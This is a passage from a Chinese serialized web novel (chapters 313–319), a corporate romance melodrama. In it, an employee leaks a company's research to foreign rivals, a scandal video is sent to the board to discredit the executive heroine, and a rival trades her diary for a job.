且宋家在B市是首富不错,放在世界也是有点影响力,但那影响力却比不过盛华,而盛华真正的掌舵人旁人不知道是谁他却是一清二楚。 许愿是盛华真正的掌舵人,现在还是盛景眼底呃未婚妻掌控了盛世。 一个盛世一个盛华,就是宋家都不敢冲上去硬碰硬。 难办啊,怎么偏偏是许愿。 “许总她……身份很特殊码。”宋观鱼是真不知道许愿的身份,他私心里当然认为许愿优秀聪明。 在他心里许愿就是个会被盛世高层刁难欺负的小可怜,压根不知道许愿才是真正的大魔王。 “我早就说让你继承家业多学点东西,这样也不会在遇到这种事时还分辨不出对方的身份。” “如果换成是其他人我还能帮你逼一逼催一催,但偏偏这人是许愿。” 宋驰整个人仿佛一夜之间苍老了许多,他叹了口气将许愿跟盛世盛华的关系简单的介绍了一遍,好让宋观鱼清楚许愿的实力。 “我本想着将你送到她身边由她带着你教教你怎么处理公事,谁能想到你……” 宋驰恨铁不成钢的看他一眼,可偏偏那是许愿,这……对许愿动心的人也太多了,真不怪他儿子自制力差啊。 宋观鱼整个人听得云里雾里,满脑子的许愿。 听了这么多他晕晕乎乎的觉得。 不愧是自己喜欢的人,就是这世界上最棒最棒的人…… 宋观鱼这两天回了B市,还在郁郁寡欢,许愿却不知道自己对宋观鱼造成如此大的伤害,此刻她正在邀请刑从景的警备队的特警在公司进行讲座,详细阐明盗窃公司机密将要承担的法律后果,让每一位员工签署保密条款,每天开展研讨会,就经济法的相关内容进行深入学习。 研发部处处弥漫着焦灼的空气,每一个人都很紧张。 许愿这样做,不是为了敲山震虎,只是想让那位李小姐时刻保持清醒,不要真的被陆飞博滑向罪恶的深渊。 “我们部门有商业间谍?”段星河很敏锐的察觉到了不对。 如果没有间谍许愿不会如此。 “有这个猜测,你配合我一下。”许愿拉开段星河身旁的椅子,带着满身疲惫坐下。 “配合你的话,我能得到什么好处?”段星河目不转睛地盯着电脑,十根手指飞速敲击键盘,屏幕上密密麻麻全都是程序。 智能驾驶系统的高度智能化,全由这双手赋予。 许愿闭着眼睛揉捏眉心,无奈地问:“你要什么好处?” 段星河依旧盯着电脑,仿佛根本不关心工作以外的事,身体却开始紧绷。 第314章 爱情本来就不讲道理 “像上次那样,我要收点利息。” 他是真的很想见苏青莲了,现在提出的要求也是要多点利息。 “我会给你最新的代码。” 许愿将代码发到他电脑上,眼底都带着浅浅的笑。 “段老师,利息已经付了,你该办正事了。今晚可能要通宵加班,工程有点大。”许愿托着雪腮,漫漫一笑。 段星河已经在敲击键盘跟踪这串代码了,过了好一会儿,他才用僵硬的手指扣好敞开的白大褂。 “只加班一个通宵?其实再来十几个通宵我这边也没问题。” 他就是想要更多的代码。 段星河眸色暗沉地瞥了许愿一眼,补充道,“只要你利息给到位。” 许愿忍俊不禁。 “我估计一个通宵够了。如果干不完,利息我按照工期给。” 段星河眼睛一亮。 许愿站起身,绕到椅子后面,双手按住段老师的肩膀,附耳警告:“我这边很急,你别为了几个利息就拖延工期。出了事,段老师你也扛不住。” 很少有人威胁他,段星河觉得新鲜也没生气,反倒止不住地低笑起来。 这人是许愿,总会让他幻视苏青莲,所以他完全不会生气。 “好吧,我尽量一天时间帮你搞定。话说回来,你要我干什么?”段星河靠向椅背,俊脸仰起,嘴角含笑。 许愿弯下腰,在段星河耳边低声叙述。 B市。 宋观鱼宿醉,醒来后头疼欲裂。 房间的地上全都是烟头,房间内弥漫的全都是浓郁的烟味儿,他愣了一下,然后立刻掀开自己身上的被子嗅着自己身上的味道,没有闻到浓郁的烟味儿,自己身上还是干净清爽的这才松了一口气,蔫蔫的靠在床头,半晌缓不过劲儿来。 宋驰坐在沙发上看他这副模样忍不住叹了口气。 他猜到宋观鱼为什么这么紧张。 因为许愿近来不喜欢烟味儿,所以他这傻儿子也不想要自己身上有烟味儿。 房间内的烟头都是宋驰留的,他是真的心烦。 如果是旁的什么人宋驰都还能出把力,但偏偏宋观鱼喜欢的对象是许愿。 许愿可不是好拿捏的人,也没谁能压制得住。 “你真的喜欢许愿?” 宋驰突然开口询问。 宋观鱼眼里都失了光亮。 “我见到她第一眼就喜欢她,我真的……这么多年我没喜欢过人,但是见她第一眼我就知道非她不可了。” 宋观鱼从小到大确实是没有什么心仪的人。 以前宋驰还想过自己儿子这也不喜欢那也不喜欢总不能喜欢男人吧,后来宋驰盯了很久都发现自己儿子对男人没有半点兴趣。 他更发愁了,喜欢男人好歹找个男人也算是有个伴儿,偏偏他是不限男女全都看不上。 宋驰发愁啊,自己儿子总不能去喜欢个天仙吧。 结果现在再看,那是真喜欢了个天仙啊,许愿,可不就跟天仙似的。 不得不说不愧是自己的儿子,就是有眼光,一看就看中个最优秀的。 宋驰连连叹气。 “她有未婚夫了,她未婚夫就是盛世的前任总裁盛景炎,你应该听过他的名号。” 宋观鱼当然听过,此刻愤愤不平。 “盛景炎都可以那我一定也可以的!他整天在女人堆里待着,我不比他干净吗。” 宋观鱼不服。 他觉得盛景炎跟他一样都是个纨绔子弟。” “你都多久没关注过盛景炎了。”宋驰一瞬间都苍老了许多。 “这人都是装的,你自己看吧。” 宋驰昨晚就让人把盛景炎相关的资料整理好,只等宋观鱼醒后看了。 宋观鱼一页页的翻看,越看越沮丧。 盛景炎是装废物,他是真废物。 硬要说,也就宋家比盛家更有钱而已,比颜值盛景炎那张脸也是出了名的俊,比身材他还担心许愿觉得他太壮了。 宋观鱼看到最后,待看到宋观鱼在一场车祸中断了双腿后眼神闪了闪。 他其实很想趁虚而入,但是看到最后的资料,盛景炎竟然遗嘱内将一切都留给许愿,怪不得……怪不得许愿无论如何也不肯离开他。 他们之间才是真爱吧。 如果换做他是盛景炎他也可以做到这一步。 但他就是晚了。 宋观鱼心里还带着点说不清道不明的情绪。 万一呢,万一许愿真的会产生厌烦心理呢,那是不是代表他也会有机会呢。 “爸,我真的很喜欢她。” 宋观鱼声音都带着点明显的哑意。 “既然喜欢就去追回来,他们还没结婚不是吗。”宋驰开口。 宋观鱼沉默了片刻,躺在床上目空一切不理宋驰了。 他也想继续追求许愿。 但是他觉得自己这样算是趁人之危,盛景炎腿都断了。 可是爱情本来就不讲道理不是吗。 如果……如果最开始他就知道许愿有未婚夫,那他……那他可能还是会对许愿一见钟情。 宋观鱼也觉得自己这样挺卑劣的,但是没有办法,他控制不住自己的心啊。 宋观鱼休息的这段时间段星河在短时间内与许愿研究出了新的成果。 许愿来到顶楼,跟陈飞豪商量,邀请董事会成员和诸位高层全部出席。 “你的重大成果出来了?”陈飞豪猜测道。 “是的。”许愿懒洋洋的,好似早就猜到了这次会是什么结果似的。 “我马上叫人发通知。明天早上十点半怎么样?”陈飞豪拿出手机给助理发短信,没有怀疑和犹豫。 陈飞豪也想知道许愿和段星河又弄出了点什么新东西让董事会那群老古董们震惊的。 “可以。”许愿没意见。 说完许愿站起身,抚平西装下摆,走向门口。 …… 会议室里,所有董事以及公司高层都坐在台下听许愿侃侃而谈。 大屏幕上投射出一幅宏伟蓝图,新型智能机器和治疗癌病的一系列条款被一条一条罗列其上。 其中一项技术的问世将彻底改变汽车市场的结构,新能源汽车的销售将在短时间内获得一次巨大增长。伴随着技术的不断更新迭代,升级完善,盛世一步快,步步快,必将统领全球市场。 第315章 波澜 这是一块市值数亿的庞大蛋糕,散发着令人垂涎三尺的气味,而刀叉,许愿已为大家准备好。 汇报尚未结束,会议室里就已经连续爆发了四五次热烈的掌声。 而治疗癌病的药物经过优化,足以击溃海外一直把控的相关治疗,足以击垮奥瑞亚所在的家族,抢夺他们的占据的市场。 会议室内众人 众人微笑仰望着台上那个熠熠生辉的人,这次哪怕是盛衡也能明白这代表的巨大利益为之赞叹。 段星河握着一个遥控器,随意操控着一台五颜六色的小飞机。即使在如此重要的会议上,他依旧不改玩世不恭的态度。 但没有人敢指责他。 许愿现在所描绘的这张蓝图只能由段星河执笔。 他的能力有多强,盛世就能走多远。 诸位高层有的涨红了脸,表情兴奋;有的不断点头,目露激赏;还有的嘴角僵硬,眸光闪烁,神思不属。 盛衡那一派系的人相互对视,眼里皆藏着阴影。 许愿的势头已经锐不可当。资源只有那么多,他一口吞掉大半,别人吃什么? 大屏幕上,一辆装载了新型智能的越野车正在翻山越岭,强劲的发动机发出震耳欲聋的咆哮。 热烈的掌声再度响起。 如果一切顺利,在不久的将来,盛世必然能夺得这一产业的霸主地位。 此时研发部的办公区内,很多职员都有些心不在焉。 陆飞博埋头敲击电脑,头发有些凌乱。他昨天晚上加班到深夜,精神有些萎靡。 一沓厚厚的资料砰的一声落在桌上,吓得他脸色发白。 “小陆,这些资料你今天整理出来,明天许总要审批。”一个中年女人冷冰冰地下令。 陆飞博上下扫视,测量着资料的厚度,几十斤重的文件,今天怎么可能整理出来? 自从发生了越级汇报的事,陆飞博就陷入了职场霸凌的泥潭。 这些工作,原本是小组长派给中年女人的,与陆飞博没有半点关系。 电脑屏幕上,一份正在构思的报告,同样不是陆飞博的工作。 见他许久不开腔,女人没好气地说道:“愣着干什么,快干活啊!年纪轻轻,整天搞一些不入流的小动作!亏我刚开始还以为你是个老实人!” 中年女人狠狠瞪了陆飞博一眼,扭身走了。 因为触怒了许愿,危害了那人的利益,在这间巨大的办公室里,陆飞博被所有人孤立、排挤,甚至奴役着。 连续一个多月,天天加班到深夜,每天的睡眠,最长不过四个小时。 精神和肉体,都已经濒临崩溃的边缘,但陆飞博依旧忍受着。 他拿起最顶上那一份资料,随意翻看几页。 旁边有人小声讨论: “不知道报告会开得怎么样了。” “如果我是高层我要把段老师和许总捧起来当祖宗供着!” “最牛逼的还是许总。这么短的时间搞到这么多钱,还能陪着段老师一起搞研究把成果弄出来!” “据说许总制定的目标是35%。” “营业额增长35%?” “不是,是全球市场占有率达到35%。” “艹,这个目标太离谱了!如果许总成功了,那咱们公司不是要赚疯?那两项可都是最赚钱的项目!” “公司赚多少我们根本算不出来,那绝对是咱们想都想不到的数额。有这时间不如想一想我们今年能拿到多少奖金。” “这次奖金下来我估计我在A市的房子首付都够了,说不定还能买辆性能不错的车。” 欣喜若狂的声音从四面八方传来。 偌大的办公区内,每一个人都双眼发光,兴奋期待。 陆飞博把资料抛到一边,拿出手机发送信息:【到时间了。】 依旧是阅后即焚,聊天框莫名消失。 片刻后,一家海外势力的车企忽然公布了一条重磅消息,引发了汽车制造业的震荡。 与此同时奥瑞亚所在的家族也发布了治疗癌病的相关资料,称所研发的药物比之盛世更加优越,微博再次引起轰动,而与此同时此前盛世也被逼到风口浪尖。 登录微博看了看舆论热度,陆飞博放下手机,靠向椅背,伸了一个大大的懒腰。 这些天是真的很累,但不得不说也很刺激,许愿也是他此刻最想摧毁的对手。 许愿再如何厉害,最后还不是被他拿到了资料? 陆飞博抹了抹乱糟糟的头发,轻蔑地笑了。 顶楼会议室,厚重的门忽然被人撞开,陈飞豪的助理先是看了许愿一眼,然后说道:“陈总,许总,不好了,海外汽车发布了新品预告,他们也做出了新型电池和智能系统,参数与我们的一模一样。” “甚至于……”助理叹了口气继续道:“甚至于奥瑞亚所在家族也发布了最新型的癌病相关的资料,跟我们今天的会议主题几乎完全相同。” “什么?” “这不可能!” “为什么偏偏是这个时候?” “那个海外企业公司上个月才开除了一个研发团队。他们的研发能力跟我们没得比!” “别说研发能力,他们财务吃紧,哪来的钱投入研发!他们的新品莫非是无中生有?” 会议室里乱成一团,有人震惊,有人慌乱,还有人愤怒。 许愿和段星河对视一眼,眸子里暗光闪烁。 陈飞豪面沉如水地翻看着手机。 这次的海外企业刚巧正是莱蒂斯所在的企业,而他所在的公司的确发布了一条微博,此刻在业内已经引起剧震。有车评人跟帖说:如果消息是真的,莱蒂斯将引领汽车制造业的一次腾飞和革命。 当盛世在这里计算能吞并多少市场份额时,莱蒂斯已经挥舞利刃,分走最大的一块蛋糕。 而奥瑞亚家族更是击溃了盛世想要进军医药的想法。 出离愤怒已经不足以形容大家的心情。 盛衡站起身,双手上抬下压,示意大家安静,然后看向许愿,冷冷说道:“你们有没有想过,莱蒂斯和奥瑞亚所谓推出的新技术或者研究,都是从我们盛世盗取的?公司出了内鬼!” 第316章 泼脏水 段星河顿了下,完全不意外这时盛衡想把脏水泼到许愿身上。 陈飞豪也在此刻猛然抬头,目中怒火熊熊,他是真不明白这种时候不想着如何想对策,竟然还打算继续内斗,争夺那点外人都看不上的权势。 助理连忙按住陈飞豪的肩膀,示意他冷静,继而说道:“陈总,现在这时一模一样的技术,一模一样的参数,还正好抢在我们发布之前发布,世界上没有这么多巧合。这件事一定要追查到底,但大家也不能自乱阵脚。” 陈飞豪翻涌的心绪立刻沉淀下去,勒令道,“事情没查清楚之前,任何人不得对外发表任何不利于公司,不利于同事的言论!” 封口是第一件要务,否则许愿的职业生涯就毁了。 现场人都在吵嚷着让许愿下台暂时让陈飞豪主持公司要务,许愿目光仍然淡淡的,丝毫不在意这一切,仿佛是在看一出好戏。 陈飞豪见此心里有了点底,他缓了片刻终于开口:“研发部的所有员工暂时先停职直到查出这次真相。” 陈飞豪准备控制住所有嫌疑人,其中自然也包括许愿。 但他的态度却表明,他对许愿是完全信任的。 盛衡见陈飞豪这样的态度面色阴沉转而怒气冲冲地说道:“发生了这么大的事,我看嫌疑最大的人就是许愿!那么重要的资料,研发部里除了段星河,就只有你能接触!这次如果要调查研发部那就一定不能让许愿插手!” 他就是想趁着这次机会彻底夺了许愿的权啊。 盛衡转身看向周围的董事会成员,问道:“各位老总,同意许愿继续留任的请举手!” 有人想站许愿,但是手臂微微举起,见别人都坐在原位一动不动,面上笼罩着寒霜,便又缩回去。 这几人的力量微不可见,只能冲站在台上的许愿摇摇头,满脸爱莫能助。 段星河还在玩遥控小飞机,十分怡然自得。 发生了这么大的风波,他竟无动于衷。 许愿看向陈飞豪,问道:“陈总怎么说?” 陈飞豪垂眸沉吟。现在的情况已经严重到难以控制的地步。 为了这两个成果,盛世花费了几十亿研发资金,又融资了几十亿。 今天的事发生之后,这两笔巨额投资等于亏得血本无归。盛世需要向融资人和全体股民负责,后续的赔偿款、违约金、股价暴跌所蒸发的市值,又会是一个天文数字。 势头强劲的盛世,经此一役,已是山之将崩,岌岌可危,一个处理不好就将面临倒闭破产,重组清算的结局。 巨大的压力笼罩在每一个人头顶。而陈飞豪需要承担的重量是常人难以想象的。 但站在台上等待审判的人是许愿。 他们才是真正一条船上的人,都到这时候了许愿完全不着急不害怕,那证明许愿有解决的办法,有后招。 他既然选择相信许愿,那就该清楚她不会被轻易打倒。 段星河偏过头,静静看着陈飞豪,他在等待这人做出决断。 陈飞豪看着台上的许愿点了下头。 张口的一瞬间,手机疯狂震动。 在这种危急时刻,每一个电话都很重要。陈飞豪摆摆手,让大家稍等片刻,拿出手机一看,却是数十条重复发送的视频。 视频的封面是许愿与一个高大男人拥抱的剪影。 陈飞豪指尖一颤,抬眸瞥了许愿一眼。 许愿还在等他的回答。 但与此同时,高层的手机全部发出震动,所有人都收到了那些视频。 众人都震惊的看着那些视频,那上面的人是许愿和宋观鱼,许愿背叛了盛景炎跟宋观鱼搞到了一起,那是不是说明许愿其实有可能真的会背叛盛世? 偏偏是这紧要关头! 这次盛衡忍不住阴阳怪气的开口。 “许总好兴致啊,利用我儿子夺得一切还要跟宋总的儿子谈情说爱,怪不得许总能短时间内爬的这么高。” “也不知道这次许总是不是跟莱蒂斯和奥瑞亚有什么合作,怕不是打算跟海外市场有接触吧。” 话语间都是在指控许愿背叛了盛世。 盛衡等人发出冰冷的嗤笑,其余高层则满脸厌恶。 过了今天,许愿再难立足。 段星河低不可闻地开着玩笑:“许总,看来你是真的摊上大事了,不过我想这对你来说算不得什么大事。” 盛衡的人正在游说其他高层,让大家投票把许愿踢出局。 “我要报警。不管许愿是不是内鬼,最大的责任肯定要他承担。她有罪,那就让他去坐牢。她没罪,我也要让她在业内无法立足。”盛衡的眼里藏着阴狠,手段赶尽杀绝。 段星河听到这里翘着二郎腿,慢悠悠地说道:“许总走,我也走,违约金我照付,专利你们只管拿去用。让许总在业内无法立足?抱歉,有我在,你们做不到。” “段老师,你——” 许愿轻轻拊掌,打断了盛衡的质问。 她瞥了段星河一眼。 段星河勾起唇角,冲他微笑。 虽然这人平日里看着吊儿郎当的,但是紧要关头却最是靠得住。 “许总不会停职,许总才是盛世的执行总裁,这件事需要许总全权处理,任何人不得插手,在此期间,许总有权动用公司内部的一切资源!如果事态得不到控制,我第一个引咎辞职,并且让出所有股权。” 陈飞豪站上发言台,一字一句缓缓说道。 他完全相信许愿不会做出错误的选择。 盛衡等人的目标原本是许愿。但现在, 陈飞豪站出来力保许愿,并且赌上全部股权,那么一旦许愿失败, 陈飞豪也会跟着出局。 盛世将经历一次大换血,有人会利益受损, 有人会一败涂地,还有人能从中牟取暴利! 会议室里一片安静。 刚才还指着许愿的鼻子不断吠叫的盛衡, 此时耸耸肩,摊摊手, 装作无可奈何地说道:“陈总, 看在你的面子上, 我们可以再给许愿一次机会。但是我们的容忍是有限度的。” 第317章 你不是发烧了,你是发疯了 坐在他身旁的一名老者接住话头,“一个月。一个月还摆不平的话, 许愿必须走人。” 陈飞豪看向许愿。 许愿点头。 事情就这样说定了。 盛衡带着一帮下属浩浩荡荡离开会议室,路过许愿时露出不善的表情。 许愿一直似笑非笑地站在一旁,丝毫不在意这次的事。 段星河在几人路过时默默伸出自己的大长腿。 盛衡往前扑倒,摔了个狗啃泥,爬起来往后一看, 表情阴沉难看。 他可以对付许愿, 算计陈飞豪,唯独不能把段星河怎么样。 “许总,走吧。”段星河慢悠悠地站起身, 修长指尖随意拨弄银灰色领带, 性感的喉结正好卡在领口处。 今天的段老师又帅出一个新高度。 电梯里,许愿好奇地问:“你不用遥控器,小飞机怎么一直跟着你?” “它其实是一台高度智能化的机器人,安装着摄像头。没有遥控器,它也能走。你不是让我注意我的助理吗?小飞机最近一直跟着她,拍到很多有趣的东西。” 电梯里一片静默。 许愿没有为这个消息感到高兴,反倒眸色冰冷地看向段星河。 段星河的小飞机也跟了她很久,没少拍到代码数据。 察觉到自己暴露了段星河连忙低头,用手掌捂住嘴唇,假装不舒服地咳嗽。 “咳咳咳,为了帮你,我最近一直在加班,抵抗力越来越弱。咳咳咳,我感觉我应该是发烧了?” 这个时候,只有苦肉计才能让他逃过一劫。 “你不是发烧了,你是发疯了。”电梯门缓缓打开,许愿走出轿厢,回头嘲讽。 段星河亦步亦趋地坠在后面,想笑,却又不敢明目张胆地笑,只能微微眯起狭长的眼。 他是为什么会一直对许愿有优待呢? 最开始是因为许愿是苏青莲的血脉,现在呢……现在则是觉得有趣。 许愿走在灯火通明的长廊里。 段星河看着她的背影,本来因为盛世那群老古板而阴郁的心情也才此刻云开雾散。 许愿不知道段星河心中所想,她大步而行,嘴角勾起一抹玩味的冷笑。 那头是董事会和陈飞豪收到视频,中间是段星河被盗成果,但凡几人心眼小那么一点,她今天必然死得很惨。 不是陆飞博做的又会是谁做的? 这么多意外撞到一起,还能是意外吗? 许眼底都是冷意,漆黑眼眸罕见地溢出杀气。 陆飞博,我本来想给你留一条生路,是你自己不珍惜…… 原本洋溢着欢乐氛围的办公区, 此刻已是一片焦灼。 放眼望去,每一个人都力持镇定,却又每一个人都在隐藏自己的恐慌。敲打键盘的声音沉重凌乱, 毫无章法。 有人离开座位,撞翻椅子, 发出巨响。有人拉开抽屉,胡乱翻动, 却不知道自己具体想找什么。还有人悄悄拿出手机,联络猎头。 喜悦的人不喜悦了, 得意的人不得意了, 高傲的人底下他们的头。 陆飞博摘掉平光眼镜, 拿起一块绒布,慢条斯理地擦拭镜片。 他脸色惨白, 精神萎靡,似乎与所有人都一样。但仔细观察就会发现,他却是最不一样的。 他嘴角挂着一抹戏谑的浅笑,眼里浮光闪动, 轻松快意。 他与在座所有人的悲喜都不相通。 许愿现在怎么样了? 一个念头浮现在陆飞博的脑海,让他饶有兴致地眨了眨眼。 人生巅峰就在前方不远处,只要一脚迈出去, 许愿就能拥有所有人梦想中的一切, 鲜花掌声,财富地位,前程似锦。 然而, 在离成功最近的时刻, 她伸出去的手被狠狠斩断,跨出去的脚骤然落空。 嘶~他该有多疼? 陆飞博摇摇头,心内长叹:好可怜啊…… 把擦拭干净的眼镜戴在高挺的鼻梁上,陆飞博避开众人的目光,露出万分舒适的笑容。 他快意地想道:我越级找到盛景炎汇报,你睁一只眼闭一只眼不行吗?我想得到盛总青睐,你给我腾腾位置不好?为什么非要羞辱我? 许愿啊许愿,你落到今天,不是我造成的,只能怪你心胸狭窄,欺人太甚。我若是升了职,进入盛世的权力核心,我也就无需利用李晓芸那个女人盗窃机密。我可以得到的东西很多,你也不会落入今日这个泥潭。 我们各得其利,结局不是很好吗?你自诩聪明,到头来不过是自作聪明罢了。 陆飞博摇摇头,低不可闻地嗤笑一声。 他已经预见许愿的结局。 董事会那帮人绝对不会放过许愿。 那人现在应该被停职了吧? 陈飞豪收到视频一定会发给盛景炎,盛景炎看到这些怕是恨不得杀了他。 宋观鱼肯定也听说了许愿的身份,傅京礼的前期盛景炎的未婚妻却还要继续吊着他,宋观鱼听说他是那么一个放浪的人,一辈子都不会再跟他接触。 科研工作者把成果视作生命,段星河的生命被偷走,他能善罢甘休? 这些人一个个倒戈相向,许愿有能力抵挡吗?在职期间发生这么大的纰漏,许愿以后怎么在业内立足? 警察介入调查之后,许愿还会被拘留,审问,甚至坐牢。 身败名裂,众叛亲离,失去自由,这就是陆飞博替许愿书写的结局。 许愿给予的耻辱,他已经百倍千倍地还回去。 心情从未如此舒畅,脸上的笑容就有些遮不住。陆飞博抬起手,假装疲惫地抹脸,实则悄无声息地笑了笑。 旁边有人小声说话,语气十分恐慌:“发生这么大的事,不知道许总怎么样了。” “我们研发部肯定出了内鬼!有人把我们的研发成果卖给了中村!” “这样的话,许总会被辞退的!” “不止吧!我们研发部所有人,可能都会被开除!” “真的吗?不会吧!” “许总都已经是盛世的执行总裁了难道还会被轻易辞退吗?” “你们难道忘了自己手机收到的视频和图片吗,许总跟别的男人有了暧昧关系,盛总怎么可能继续护着她?” 第318章 全都是恋爱脑的疯子们! “以前是盛总一直护着她,盛总是留过遗嘱把东西留给许总,但盛总还活着那遗嘱就不会生效,没有男人能接受这种背叛,许总一定会被赶出盛世的。” 说到最后,这两个人的声音已经开始颤抖,哭腔从喉间溢出,听上去十分可怜。 陆飞博又抹了把脸,十分合群地重重叹出一口气。无人知晓,他眸底深处弥漫着怎样森冷的恶念和舒畅的笑意。 就在这时,走廊外传来不紧不慢的脚步声,玻璃门被人推开。 众人抬头看去,淅淅索索的议论声为之一静,空气中的焦灼变成了凝重的肃穆。 陆飞博放下捂嘴的手,摆出一个忐忑不安的表情。 来了,他期待的时刻终于来临了。他要亲眼看看,许愿能落魄到何种地步。自己给予这人的绝望,是怎样把他的傲慢摧毁! 许愿慢慢走进办公区,环视或站或坐的众人,目光扫过陆飞博,不曾有片刻停留。 陆飞博却直勾勾地盯着他,原本舒展的眉宇蹙起一个小丘。 怎么会?眼前的许愿,为什么没有一丝落魄?傲慢的表情,为什么依旧挂在他脸上?她没有被自己击溃吗? 陆飞博眸光闪了闪,情绪有些波动。 许愿双手插兜,平静开口:“董事会怀疑莱蒂斯和奥瑞亚所在的两家企业盗取了我们的商业机密。” 办公室内响起一片嘈杂的议论声,愤恨、恐慌、焦虑的表情出现在每一个人脸上。 陆飞博十分合群,迅速调整面容。 “许总,上头是什么意思?”一名职员哑声询问。 “我已经报警了,稍后警察会过来调查,希望你们配合。大家不要恐慌,只要你们是清白的,警察不会冤枉一个好人。”许愿安抚道。 “那我们要停职吗?”不知谁问了一句。 “能接触到重大机密的人都要停职。” “那您也被停职了?” 陆飞博立刻抿直薄唇。若是不这样做,他怕自己露出不合时宜的笑容。 “不,我依旧在岗,董事会给我放权,让我彻查这件事。我会给大家一个交代,这件事过去之后,你们应得的,一分都不会少。但某些人应得的审判书,法庭也不会忘了他。” 许愿扫视众人,目光依旧没在陆飞博身上停留。 现在还不是打草惊蛇的时候。 陆飞博低下头,双手猛地握成拳头,下颌线紧绷一瞬,脸色阴沉地可怕。 公司放权让许愿彻查?为什么?发生了这么严重的泄密事故,许愿既没被辞退,也没被停职,依旧掌控着全局?她凭什么?凭那张脸吗? 陈飞豪到底在做什么?他难道没有把那段视频交给盛景炎!看见那些视频,他没杀了许愿?段星河也没跟许愿翻脸? 艹,这些男人都他妈怎么回事?没有自尊心的吗?戴绿帽子也能忍?许愿给他们下了蛊? 全都是恋爱脑的疯子们! 陆飞博气血翻腾,怒火中烧,超强的表情管控能力差点破功。 他抹了把脸,面容泛上潮红,嘴唇却微微发白。 许愿狼狈的一面他没见到,他自己反倒十分不堪。 想要报复许愿的念头太过强烈,让他做事有些急躁。 经侦科的警察匆忙赶到盛世,迅速展开调查。这么重大的科研成果被外企盗走,对民族产业是一个沉重打击,上头不得不重视。 所有人都只能被留在盛世,研发部的所有员工不得离开。 陆飞博眼神狠辣,内心是对盛景炎这群疯子的鄙夷,为了一个女人竟然低廉到如此地步,也算是个男人呢! 查吧,再如何查也查不到他身上。 他跟李晓芸之间的交易都是在私下,从没有留下任何证据,那些东西都是李晓芸做的,跟他有什么关系。 从始至终他都是无辜的。 研发部这群人里面,他是最干净的。 陆飞博眼神闪烁,脸上也露出担忧的表情,尽管没有人关注,但他还是在继续演戏。 正在此刻,他的手机一直响个不停,是容浔的号码。 陆飞博的心都跳到嗓子眼,他怕被人查到自己跟容浔有联系根本没敢接听电话直接挂断关机。 他当然知道容浔这通电话是要来问什么。 他被容浔当做是棋子安插到盛世,容浔给他的东西的确够多,但再多也比不过莱蒂斯和奥瑞亚所在的家族豪横,他是个普通人,一切以利益至上,他早就背地里成了莱蒂斯和奥瑞亚的人。 至于帮傅氏? 抱歉,他选择了走别的路。 容浔那人做事谨慎,他也不希望跟许愿撕破脸,所以他们之间的交易更是没有证据。 任这些人再如何猜测也是不能给他定罪的。 等这次的事情彻底解决后他会A市区国外,拿着那笔巨款在国外肆意潇洒。 陆飞博眸色阴沉却又带着古怪的笑。 与此同时,许宁拿着一本笔记本,垂下眼睫重新进入傅氏,保安看到她并没有阻拦,她听着公司的员工窸窸窣窣的议论她嘲讽她。 许宁面色阴沉,却死死抱着怀中的笔记本一路到了顶层,秘书科看到她面上都露出不屑的冷笑。 他们可都知道许宁前几天央求傅京礼让她重新回到傅氏,傅京礼直接拒绝了。 这下秘书科的人都知道傅京礼对许宁已经忍耐到极限,傅京礼不会再继续纵容许宁了。 谁知道今天许宁又来了,也不知道是怎么想的。 容浔面色肃冷的站在走廊窗边一直不停的拨打电话,满身的阴郁几乎要溢出来。 “你又来做什么。” 容浔还在因为陆飞博反水背叛自己的事儿恼火,下一秒就看到许宁,内心的火气再次涌上来。 他最近真是诸事不顺,找个间谍都能被旁人撬走,想要的资料没能拿到还白白便宜了莱蒂斯与奥瑞亚。 看到许宁就想到她是一切的罪魁祸首,若非许宁,傅京礼和许愿不会离婚,盛世还有许愿坐镇,铁三角也不会散。 容浔眸光冷冽,身上难掩的危险气息毫不遮掩。 许宁身体跟着颤了一下。 “我有很着急的事要找阿礼。” 第319章 许愿的日记 “你最好是真的有事。”容浔啧了一声。 容浔没有拦她,只是给了她一个赶紧滚的眼神。 许宁仓惶的进了傅京礼的办公室。 盛世资料被盗窃,国内海外都因为新兴的智能系统和新推出的治疗癌病的药物而震撼,国内外都上了热搜头条,盛世则被夹在中间。 傅京礼已经想到许愿此刻急需安慰,脸色沉下来就要去找许愿。 手中的钢笔还没有放到桌上,办公室的门已经被许宁推开。 许宁看到他眸光闪烁。 “阿礼,让我重新回到盛世好吗。” 她声音软塌塌的,像是在恳求。 她这副模样实在惹人怜爱,只是她实在求了太多次,他对她已经没有更多耐心。 傅京礼正欲拒绝,许宁便向前一步开口。 “我们来做交易,我用许愿的日记本来做交易!” 许宁只是脱口“许愿”两字就已经让傅京礼有一瞬的恍惚。 他顿住,望向她的眼神都是探究。 “你为什么会有许愿的日记本。” 许宁眼眶发红的抱紧怀中的日记本,抱着笔记本就是抱着自己最后的筹码。 “这是许愿落在许家的东西,你难道不想知道许愿以前对你的看法吗,你不想更了解她吗。” “这次出了这么大的事情许愿一定会被盛景炎抛弃,你那么喜欢她,不想了解她重新跟她在一起吗。” 许宁此刻的话确实是说到了傅京礼的心坎儿。 他确实有更多想法。 许愿跟宋观鱼亲近的照片他也看了,他生出了恶毒的心思,希望许愿被盛景炎抛弃,这样他才好趁人之危将她从盛景炎身边抢回来。 傅京礼垂眸看着面前满面忧伤的女人,她脸上写满了哀愁,可他内心却早已生不出半点波澜。 他早就清楚面前的女人狠如蛇蝎。 “你想要什么。” 他想要许愿的日记本,纵然知道这样做侵犯了许愿的隐私,许愿不喜欢他这样,可他还是忍不住。 他想更了解许愿。 许宁内心愈发苍凉。 她看着面前的男人,内心最后的希望也在此刻彻底破灭了。 她怎么可能没喜欢过傅京礼呢?纵然更爱权势利益,可傅京礼这样优秀的男人曾对她那般温柔维护,她怎可能不爱? 但她爱过的男人心里最终还是只有许愿。 许宁恍惚了片刻,咬着下唇开口。 “我要重新回到傅氏,后勤部也好财务部也好,让我回到傅氏,不许那些人为难我。” “傅京礼,我真的已经悔过了,我只想有一份踏踏实实的工作,用许愿的日记本换一份工作,你不亏的。” “我不逼你娶我,我只是想找份安稳工作,你帮帮我。” 许宁说出这些话的时候心都在滴血。 傅京礼盯着她看了许久,看到她哄着一双眼,又是哀怨又是忧愁,片刻后终于淡淡点头。 “我会让沈略给你安排个适合你的职位让你重新回到傅氏。” “我不要沈略安排也不要沈略带我去工位!沈略都已经是傅氏的透明人了,你让沈略带我去不是明摆着让那些人随便欺负我吗?” “我要让容浔带我去。” 许宁不知道哪里来的勇气,都到这种时候了还在讨价还价。 沈略被提出高层这是傅氏内部都清楚的事实。 许宁也清楚,一旦沈略带她去,那旁人都该知道傅京礼对她并不重视了。 